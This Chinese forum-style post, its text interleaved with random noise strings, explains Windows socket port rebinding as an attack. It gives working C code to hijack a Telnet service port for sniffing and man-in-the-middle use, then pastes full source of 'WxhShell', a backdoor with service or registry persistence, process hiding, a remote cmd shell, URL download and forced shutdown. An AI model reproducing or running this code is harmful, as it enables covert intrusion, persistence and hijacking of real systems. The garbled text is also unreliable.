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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tD~
nPbbB s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]
6X;&=H ;p(I0X saddr.sin_family = AF_INET; qkM)zOZ^ g@O H,h/ saddr.sin_addr.s_addr = htonl(INADDR_ANY); aw923wEi ~n"?*I` bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UkTq0-N;2 th1;Ym+Ze 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z/I\hC9i %lnVzGP 这意味着什么?意味着可以进行如下的攻击:
Ki\\yK j|KjQ'9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8.!+Hm4 QZm7
Q4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I}jem 68UfuC 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B? aMX,1 Op'&c0l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 g8SVuG<DI\ EY`]""~8v 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $ {h1(ec8 Y#5v5
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IAHQT<] Hl#?#A5 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d =p=eUd2 q'Nafa&a) #include H%b c.c #include L>Y3t1= #include ;u-[%(00S #include SDc8\ms DWORD WINAPI ClientThread(LPVOID lpParam); 4J1_rMfh int main() S\SYFXUl { lu?:1V- WORD wVersionRequested; Y3\EX DWORD ret; UQg_y3
#V WSADATA wsaData; LVNA`|> BOOL val; lhC^Upqw SOCKADDR_IN saddr; q@^^jlHP SOCKADDR_IN scaddr; !,^y!+,Qy int err; x*sDp3f[* SOCKET s; i-}Tt<^ SOCKET sc; TILH[r&Jg int caddsize; I
6'!b/ HANDLE mt; p/qu4[Mm DWORD tid; xi<yB0MoA wVersionRequested = MAKEWORD( 2, 2 ); Yr*!T= z err = WSAStartup( wVersionRequested, &wsaData ); R.\]JvqO if ( err != 0 ) { p'0X>>$ printf("error!WSAStartup failed!\n"); KO\-|#3y> return -1; ' GUCXx } v5 @9 saddr.sin_family = AF_INET; BM{*5Lf jLA)Y
[h //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y=aWSb2y' e*yl _iW saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gN2oUbf8 saddr.sin_port = htons(23); ["#H/L]3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X`(fJ', { Om*(dK]zHQ printf("error!socket failed!\n"); RrT`]1". return -1; D4N(FZ0~ } I+F>^4_d val = TRUE; O^!Bc}$
//SO_REUSEADDR选项就是可以实现端口重绑定的 0@um if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~.4y* & { EOZ 6F-': printf("error!setsockopt failed!\n"); ~Zn|( return -1; ify48] } \:g\?[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0CvGpM, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 01&@8z'E //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $NCR
V:J 'd|!Hr<2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +w7U7"
xQ { Zd'Yu{<_2N ret=GetLastError(); /:^nG+ printf("error!bind failed!\n"); #].qjOj return -1; tLU@&NY` } 4TI` listen(s,2); ZXN`8!]& while(1) C}|.z { %{7*o5` caddsize = sizeof(scaddr); 052Cf
dq //接受连接请求 !C|Z+w9Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3 l}9'j if(sc!=INVALID_SOCKET) %gQUog { cs7^#/3< mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2$MoKOx8$ if(mt==NULL) Fe
%Vp/ { vcCNxIzEG printf("Thread Creat Failed!\n"); I o"3wL)2 break; [W*M#00_&4 } "iGQ1#6|d } spTz}p^\O CloseHandle(mt); +'Y?K]zbt } '7}2}KD closesocket(s); `zrg? WSACleanup(); aOw#]pB| return 0; rT=C/SKP } KxD/{0F DWORD WINAPI ClientThread(LPVOID lpParam) Lyf5Yf([- { +0)M1!gK SOCKET ss = (SOCKET)lpParam; 9Zj3 "v+b SOCKET sc; |h%HUau unsigned char buf[4096]; eXD~L&s[ SOCKADDR_IN saddr; ~1E!Co long num; ce#Iu#qT DWORD val; xAl8e
DWORD ret; 4x&Dz0[[S //如果是隐藏端口应用的话,可以在此处加一些判断 5Po:$( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 +$#<gp" saddr.sin_family = AF_INET; pKpB saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "O-X*>?f saddr.sin_port = htons(23); mQ<4(qd) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dkb`_HI { kYWnaY ^F printf("error!socket failed!\n"); zc=G4F01 return -1; c ~~4eia) } 0e+#{k val = 100; t)Cf]]dV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t#@z_Mn\ { x/CM)!U) ret = GetLastError(); P
4t@BwU$ return -1; 6Q\|8a } =4'V}p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BgD3P.;[ { pW@W-k:u ret = GetLastError(); |pv$],&&: return -1; DQ3L= } PVH Or^ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) tc[z/ { 9od*N$ printf("error!socket connect failed!\n"); c_S~{a44Ud closesocket(sc); S5u$I closesocket(ss); cfilH"EK return -1; 9Bw#VQ } }eW<P079 while(1) Bm,Vu 1]t { 4_iA<}>| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1<1+nGO //如果是嗅探内容的话,可以再此处进行内容分析和记录 AX$r,KmE //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LEeA ,Y num = recv(ss,buf,4096,0); =cZ24I if(num>0) Axns send(sc,buf,num,0); 2"?D aX else if(num==0) SepwMB4@ break; J'sa{/
# num = recv(sc,buf,4096,0); uV_%&P if(num>0) $pAJ$0=sw send(ss,buf,num,0); FG[rH] else if(num==0) \eNB L[ break; M;Pry3J } >W8"Ar closesocket(ss); 7 s{vou closesocket(sc); `_ 1~[t return 0 ; CEI"p2 } $A9Pi"/*z =k.%#h{ [|1I.AZ{ ========================================================== aQ$sn<-l 2aCf?l( 下边附上一个代码,,WXhSHELL &.?E[db"h tm5)x^7 ========================================================== l*z%Jw cQuL9Xo #include "stdafx.h" ~WTk X(\ &K60n6q{aQ #include <stdio.h> _qf39fM;\ #include <string.h> B7[d^Y60B #include <windows.h> wpYk`Lr #include <winsock2.h> OqIXFX" #include <winsvc.h> eK
l;T #include <urlmon.h> 3m!tb) 7`;f<QNo #pragma comment (lib, "Ws2_32.lib") -*4*hHmb #pragma comment (lib, "urlmon.lib") 3.?be.cq 3p&T?E% #define MAX_USER 100 // 最大客户端连接数 ~?Ky{jah:^ #define BUF_SOCK 200 // sock buffer eGq7+ #define KEY_BUFF 255 // 输入 buffer 6QY;t:/< #f) TAA #define REBOOT 0 // 重启 vs=q<Uw) #define SHUTDOWN 1 // 关机 X.;VZwT+ C 5gdvJN #define DEF_PORT 5000 // 监听端口 M
Zz21H :=;{w~D #define REG_LEN 16 // 注册表键长度 '7el`Ff #define SVC_LEN 80 // NT服务名长度 jw=PeT| GW;%~qH[, // 从dll定义API lTqlQ<`V typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D)ri_w!Q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U< Xdhgo? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /Yp#`}Ii typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lP`BKc, \alV #>J5 // wxhshell配置信息 O7VEyQqf5 struct WSCFG { =n"k gn int ws_port; // 监听端口 a24 AmoWx char ws_passstr[REG_LEN]; // 口令 bg-/
8, int ws_autoins; // 安装标记, 1=yes 0=no iBAP,cR?` char ws_regname[REG_LEN]; // 注册表键名 2=NaqHt( char ws_svcname[REG_LEN]; // 服务名 /m"/#; ^l char ws_svcdisp[SVC_LEN]; // 服务显示名 <A)M^,#o char ws_svcdesc[SVC_LEN]; // 服务描述信息 *PnO$q@` char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8]&:' int ws_downexe; // 下载执行标记, 1=yes 0=no c**&, aL char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" y0mNDze char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q l)hIf$Oo !Yb !Au[ }; 8i`>],,ch $N)G:=M!s // default Wxhshell configuration zVw5 (Tc struct WSCFG wscfg={DEF_PORT, kaekH*m~ "xuhuanlingzhe", *C5`LgeX 1, ulIEx~qP "Wxhshell", 5F~l;zT "Wxhshell", \6SjJ]o> "WxhShell Service", ]qv0Y~+`-K "Wrsky Windows CmdShell Service", Yu3S3aRE "Please Input Your Password: ", '^_u5Y] 1, Tl2t\z+ps " http://www.wrsky.com/wxhshell.exe", /VT/KT{ "Wxhshell.exe" -Y/i
h(I^ }; O+=%Mz(l ]q%r2 (y,k // 消息定义模块 L/tn;0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P{n#^4 char *msg_ws_prompt="\n\r? for help\n\r#>"; |cma7q}p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ,sAAV%"> char *msg_ws_ext="\n\rExit."; @Uez2? char *msg_ws_end="\n\rQuit."; nFEJO&1+ char *msg_ws_boot="\n\rReboot..."; Cr7Zi>sd<! char *msg_ws_poff="\n\rShutdown..."; )Wk_|zO- char *msg_ws_down="\n\rSave to "; tr,W)5O@L El<*) char *msg_ws_err="\n\rErr!";
'/.Dxib char *msg_ws_ok="\n\rOK!"; V+ ("kz* ^_bG{du char ExeFile[MAX_PATH]; aP int nUser = 0; ]WDmx$"&e HANDLE handles[MAX_USER]; MMFwT(l<1 int OsIsNt; N2}SR|. ZiJF.(JS SERVICE_STATUS serviceStatus; ?ZRF]\dP] SERVICE_STATUS_HANDLE hServiceStatusHandle; _K~h?
\u lWId
0eNS // 函数声明 DYr#?} 40 int Install(void); MJ)lZ!KZ int Uninstall(void); W%g*sc*+ int DownloadFile(char *sURL, SOCKET wsh); `3rwqcxA int Boot(int flag); ~U]g;u void HideProc(void); ;AEfU^[
int GetOsVer(void); }UW7py!TN int Wxhshell(SOCKET wsl); yQ[;y~W void TalkWithClient(void *cs); z5fE<=<X_W int CmdShell(SOCKET sock); njy2pDC@ int StartFromService(void); h4pS~/ int StartWxhshell(LPSTR lpCmdLine); c
3QgX4vq J2W-l{`r< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~:z.Xu5m VOID WINAPI NTServiceHandler( DWORD fdwControl ); /e '3\,2_ .c"nDCFVR // 数据结构和表定义 ^}=)jLS SERVICE_TABLE_ENTRY DispatchTable[] = 9b+jT{Tg { >q:%?mi {wscfg.ws_svcname, NTServiceMain}, crM5&L9zF {NULL, NULL} 4!Js=" }; .*zS2z sxREk99lL // 自我安装 BY6#dlDi int Install(void) o]e,5] { wGArR7r char svExeFile[MAX_PATH]; lhN@,q HKEY key; !2LX+*; strcpy(svExeFile,ExeFile); K&|h%4O 15g!Q
*v // 如果是win9x系统,修改注册表设为自启动 ,&t+D-s<f if(!OsIsNt) { te+} j7SU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R{#< NE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l$;"yVdks RegCloseKey(key); {[oNUzcd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qk (Eyp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c|Ivet>3 RegCloseKey(key); nj[TTndJt return 0; pr0X7 #_E5 } ]nTeTW }
?.?)5
&4 } e%\^V\L else { p&<Ssc ~R!1{8HP // 如果是NT以上系统,安装为系统服务 2Xt4Rqk $ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u;`]U$Qq9 if (schSCManager!=0) QHk\Z { }e[ E SC_HANDLE schService = CreateService ?,vLRq. ( ?Z#N9Z~\ schSCManager, T`bYidA wscfg.ws_svcname, a('0l2e<u9 wscfg.ws_svcdisp, &GP(yj] SERVICE_ALL_ACCESS, iE~!?N|a3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -N45ni87 SERVICE_AUTO_START, w+br) SERVICE_ERROR_NORMAL, DB' 0 svExeFile, >f]/VaMH{ NULL, RaJTya^ NULL, .a*?Pal@@ NULL, N"S`9B1eD( NULL, pi"H?EHk NULL INg0[Lpc ); `fBQ?[05. if (schService!=0) ;,4*uU'vq { smn"]K CloseServiceHandle(schService); MpCPY"WLL CloseServiceHandle(schSCManager); nQF&^1n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X{-4w([ strcat(svExeFile,wscfg.ws_svcname); s5VK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NdXHpq; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E'AR.! RegCloseKey(key); CsO!Y\'FY return 0; P3zUaN\c }
\]ib%,:YU } 2.q Zs8& CloseServiceHandle(schSCManager); |a(KVo } VeA@HC`?" } 2f,8Jnia ='7m$,{(Q[ return 1; ]*2),H1
c } E)v~kC}7. uF7vba$ // 自我卸载 &`^(dO9 int Uninstall(void) 'oa.-g 5 { o=m5AUe?J HKEY key; "Lp.*o W5R/Ub@g if(!OsIsNt) { F @PPhzZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PucNu8 RegDeleteValue(key,wscfg.ws_regname); _H+]G"k/r RegCloseKey(key); H,7='n7" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "#d$$ 8 RegDeleteValue(key,wscfg.ws_regname); P3oYk_oW RegCloseKey(key); Xb_
V\b0 return 0; +:KZEFY?< } i).%GMv*r } {*_Ln } Aiq Kf= else { ,1]UOQ>AP '}OdF*L SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <5zR-UA> if (schSCManager!=0) oC&}lp)q { `G\
qGllX SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e{)giJY9 if (schService!=0) Rk$7jZdTf {
|~9rak, if(DeleteService(schService)!=0) { $fb%?n{ CloseServiceHandle(schService); &CG94 CloseServiceHandle(schSCManager); R?wZ\y Ks} return 0; -)A:@+GF } t^#1=nK CloseServiceHandle(schService); )vtbA=RH? } i~!g9o( CloseServiceHandle(schSCManager); W~ yb>+u } </I%VHP,[f } > X~\(|EM uLdHE5vr return 1; q!z?Tn#!jd } *DJsY/9d}' WIWo4[( // 从指定url下载文件 _H| )g*]t int DownloadFile(char *sURL, SOCKET wsh) `m 5\ { 5_^d3LOT0x HRESULT hr; i\xs!QU char seps[]= "/"; 8eT#-9q@ char *token; RXXHg char *file; dDcQSshL char myURL[MAX_PATH]; 5hE#y]pfN char myFILE[MAX_PATH]; @rhS[^1wi+ 1jC85^1Taq strcpy(myURL,sURL); OTy!Q,0$. token=strtok(myURL,seps); zw<<st Bp while(token!=NULL) a~2Jf @I3 { 4 H 6t" X file=token;
S'x ]c# token=strtok(NULL,seps); rJ/HIda } VwR\"8r3 !}=eXDn;A_ GetCurrentDirectory(MAX_PATH,myFILE); ekx(i
QA strcat(myFILE, "\\"); [if(B\& strcat(myFILE, file); X}#vt?mu send(wsh,myFILE,strlen(myFILE),0); U6JD^G=qR, send(wsh,"...",3,0); U]Q5};FK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HNkOPz+d&8 if(hr==S_OK) r/h\>s+N return 0; (?Ku-k else /JNG}* return 1; -x?Z2EA! $1=7^v[U } !
fk W;| e N`+ r // 系统电源模块 CI*JedO] int Boot(int flag) .-$3I|}X= { cqU6 Y*n HANDLE hToken; WsTIdr36x TOKEN_PRIVILEGES tkp; O_ #++G ww|fqx? if(OsIsNt) { ?>7\L'n=5I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T"\d,ug5[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); aT^
$'_ G tkp.PrivilegeCount = 1; *)[fGxz
\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bUgg2iFS AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w5Fk#zJv if(flag==REBOOT) { /`cy4< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QMMpB{FZ`o return 0; qkfof{z } 3[#^$_96b else { :[a*I6/^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cc${[yj) return 0; \d:Q%S } 'v'[_(pq } 6$"IeBRO else { 1F.._5_"] if(flag==REBOOT) { s:{[Y7\? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xWLZlUHEu return 0; ij:xr% FJ } 'e:4 else { .BxI~d^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b GSj?t9/ return 0; wPI!i K@Ro } :r{-:
} zd$'8/Cq YusmMsN? return 1; D[^K0<-Z } g?v/u:v>W Jk{SlH3' // win9x进程隐藏模块 G5hRx@vfrL void HideProc(void) km>ZhsqD { /Ey%aA4v =U84*HAv HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (bm>
)U= if ( hKernel != NULL ) Dp['U { Pjq'c+4.yL pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LcLHX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N+~
MS3 FreeLibrary(hKernel); [(
xPX } \=({T_j4 uou
"s9 return; <=CABWO. } rFcz0 _"*vj-{-y // 获取操作系统版本 |i
B# int GetOsVer(void) 8Z}%,G*n { 3]S_w[Q4 OSVERSIONINFO winfo; / 8O=3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R?{_Q<17 GetVersionEx(&winfo); tF[)Y# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m
+A4aQ9 return 1; lOA
EM else Y4YZM return 0; $,Q]GIC } )fo0YpE^| HH6n3c!:mm // 客户端句柄模块 E$_zBD% int Wxhshell(SOCKET wsl) 'Rnzu0<lF { #^9bBF/ SOCKET wsh; NJJ=ch struct sockaddr_in client; ]@y%j'e DWORD myID; [1GwcXr L'Iw9RAJ while(nUser<MAX_USER) @|h9jx| { RKrNmD*rk* int nSize=sizeof(client); zWPX wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DhxS@/ if(wsh==INVALID_SOCKET) return 1; |FFz $'8) BN(=LQ2[" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1z|bQ,5 if(handles[nUser]==0) xA^E+f:W_ closesocket(wsh); lpPPI+|4N else '<,Dz= nUser++; X<_HQ }
XD8Cf! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qu<6X@+5 AP z"k?D0 return 0; tvno3" } 3AENY@* )cL(()N // 关闭 socket C@;e< void CloseIt(SOCKET wsh) qu#xc0? { d<Lc&wlP closesocket(wsh); f5M;q; nUser--; &b>&XMIK ExitThread(0); G8'{nPA~ } t<c7%i#Od ObZhQ.& // 客户端请求句柄 RFsUb:%V7- void TalkWithClient(void *cs) M_+W5Gz< { 8wO4; vr"Pr4z4i SOCKET wsh=(SOCKET)cs; k:7Gb7\ char pwd[SVC_LEN]; a:GM|X char cmd[KEY_BUFF]; ic}TiTK char chr[1]; a
Z)1S X`D int i,j; o%-KO? YW S;t`C~l\ while (nUser < MAX_USER) { T_s09Wl L9^M?.a if(wscfg.ws_passstr) { &2%|?f| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); izcjI.3e, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [QMN0#(h //ZeroMemory(pwd,KEY_BUFF); "]2^O i=0; JXRU9`3)A while(i<SVC_LEN) { =!DX,S7 [So1`IA6 // 设置超时 GL>YJ% fd_set FdRead; Yx,E5}- struct timeval TimeOut; zC:Pg4=w] FD_ZERO(&FdRead); =mX26l`B FD_SET(wsh,&FdRead); nT01B1/<] TimeOut.tv_sec=8; %hmRh~/& TimeOut.tv_usec=0; A#K<5%U{Mv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J9t?;3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *otgI"y\ H;<>uELie if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J9;fqQCt pwd =chr[0]; du'`&{_/ if(chr[0]==0xd || chr[0]==0xa) { [X /s^42 pwd=0; D=%1?8K break; ^uG^>Om* } y5*zyd i++; ]8"U)fzmc. } (#6Fg|f4Y aeNbZpFQ // 如果是非法用户,关闭 socket f`;w@gR`= if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [f {qb\ } X}]A_G x'?p?u~[ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SAitufS send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7l/ZRz}1 Yh^8
! while(1) { S8kzAT $"(
15U ZeroMemory(cmd,KEY_BUFF); *pD|N $8(QBZq // 自动支持客户端 telnet标准 %2b^t*CQ j=0; )l!
/7WKY while(j<KEY_BUFF) { 1_!?wMo:f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #Vmf
6 cmd[j]=chr[0]; V'RbTFb9Z if(chr[0]==0xa || chr[0]==0xd) { \K"7U cmd[j]=0; ZDL1H3;R break; QL7.QG
} qs\Cwn! j++; (f_YgQEL } | @ ut/ .9Cy<z // 下载文件 ?[.8A/:5 if(strstr(cmd,"http://")) { 3O-vO=D send(wsh,msg_ws_down,strlen(msg_ws_down),0); zx$1.IM"4 if(DownloadFile(cmd,wsh)) ){)-}M send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Yl ea,S else YL!{oHs4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '
=5B } smQl^
6a else { A15Kj#Oy Lj GZp"&{ switch(cmd[0]) { HnjA78%i djnES,^%9 // 帮助 MCEHv}W case '?': { =#pYd~ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5y
g`TW break;
$v#`2S(7 } &L+.5i // 安装 G!B:>P|\l case 'i': { BtbU?t if(Install()) {Ak
4G L send(wsh,msg_ws_err,strlen(msg_ws_err),0); )=iv3nF?6N else <b *sn]l send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9M($_2,44 break; k]$oir } P%Vq#5 // 卸载 (p12=EB< case 'r': { g"|>^90 if(Uninstall()) FP=27= send(wsh,msg_ws_err,strlen(msg_ws_err),0); +'5I8FE- else Q~0>GOq* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "9c=kqkX break; b+:J?MR;} } &wY$G! P // 显示 wxhshell 所在路径 RjvW*'2G case 'p': { flC%<V%'- char svExeFile[MAX_PATH]; =&pLlG strcpy(svExeFile,"\n\r"); Xj{fM\,"9 strcat(svExeFile,ExeFile); R{bG`C8.d send(wsh,svExeFile,strlen(svExeFile),0); \5! 7zPc break; NZ i3U } ToPjBvD // 重启 "OwVCym? case 'b': { 3TCRCz send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ojlyW})$% if(Boot(REBOOT)) TvDC4tm-: send(wsh,msg_ws_err,strlen(msg_ws_err),0); kD;pj3o&"2 else { ^Z;zA@[wt closesocket(wsh); \B84 ExitThread(0); QM3DB } 6MY<6t0a break; hchG\i } m#8[")a$" // 关机 jy2gR1~ case 'd': { MomHSv Q\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7p Y :.iVO if(Boot(SHUTDOWN)) hPNMp@Nm6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); #I453 else { n }A!aC closesocket(wsh); Mhti ExitThread(0); 300w\9fn& } VSDua. break; R^/SBrWve } 0stc$~~v // 获取shell
HrsG^x case 's': { #L+:MA7H CmdShell(wsh); 7LrmI~P closesocket(wsh); b \`S[ ExitThread(0);
`a MU 2 break; 9>9EZ?4m } Z#H<+S( // 退出 =s4(Y case 'x': { Lm2!<<< send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A|+QUPD CloseIt(wsh); /IRXk[ break; KB](W } [C0v- // 离开 7LVG0A2>7 case 'q': { <OGG(dI send(wsh,msg_ws_end,strlen(msg_ws_end),0); If,p!L closesocket(wsh); 0Z6geBMc WSACleanup(); I@9'd$YY exit(1); Is7BJf break; w90YlWS# } rniM[7K } [DM0'4 } ^
UmYW u>"0>U
// 提示信息 K$M+"#./ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mvZ#FF1,J } s<FBr, } *|dr-e_j }Rw ,4 return; kzRJzJq uP }
pzz*>Y 87 s *lS // shell模块句柄 gk%@& TB/ int CmdShell(SOCKET sock) JaRsm'SIk~ { n^T,R STARTUPINFO si; kUgfFa#_ ZeroMemory(&si,sizeof(si)); DaQl ip si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R);Hd1G si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~bhS$*t64 PROCESS_INFORMATION ProcessInfo; rtj`FH??11 char cmdline[]="cmd"; \]u;NbC] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (*9.GyK return 0; rR#Ditn^ } VWE>w|' ;[Mvk6^'R // 自身启动模式 9KXL6#h int StartFromService(void) 8XB[CbO { 2aM7zP[Z typedef struct ~_D.&-xUF { m|aK_ DWORD ExitStatus; y'K2#Y~1e DWORD PebBaseAddress; Z]]Ur DWORD AffinityMask; !,m DWORD BasePriority; gQ>kDl^$Ls ULONG UniqueProcessId; HYfGu1j?X ULONG InheritedFromUniqueProcessId; cg MF?;V } PROCESS_BASIC_INFORMATION; sF{aG6u X@\W*
nq PROCNTQSIP NtQueryInformationProcess; DpT9"?g7 C_Ewu*T7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'k X8}bx static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H&)}Z6C" +P2oQ_Fk`9 HANDLE hProcess; Cd}^&z PROCESS_BASIC_INFORMATION pbi; \_
